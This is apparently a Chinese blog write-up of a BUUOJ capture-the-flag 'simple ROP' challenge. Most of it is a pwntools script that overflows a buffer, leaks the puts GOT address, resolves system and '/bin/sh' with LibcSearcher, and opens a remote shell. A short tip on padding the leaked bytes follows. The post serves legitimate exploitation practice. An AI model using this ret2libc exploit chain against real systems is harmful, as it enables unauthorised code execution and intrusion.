本文最后更新于:2022年5月30日 凌晨
一道简单的ROP题
但是不是那么简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import* from LibcSearcher import* p = remote('node4.buuoj.cn',28006) #p = process('./rop') elf = ELF('./rop') put_plt_addr = elf.plt['puts'] put_got_addr = elf.got['puts'] vuln = 0x4006ad pop_rdi = 0x400733
payload1 = b'A'*40 + p64(pop_rdi) + p64(put_got_addr) + p64(put_plt_addr) + p64(vuln)
p.recvuntil('story!\n') p.sendline(payload1)
put_got = u64(p.recv(6).ljust(8,b'\x00')) print(hex(put_got)) libc = LibcSearcher('puts',put_got) libc_base = put_got - libc.dump('puts') sys = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')
payload2 = b'A'*40 + p64(pop_rdi) + p64(binsh) + p64(sys) p.recv() p.sendline(payload2) p.interactive()
|
接收返回的got地址时,使用
1 2 3
| p.recv(6).ljust(8,'\x00') # or p.recvline().strip().ljust(8,'\x00')
|
是正确的
这样可以正确地补上两位\x00
而其他方法,保留\n的都是错误的,会导致地址错误!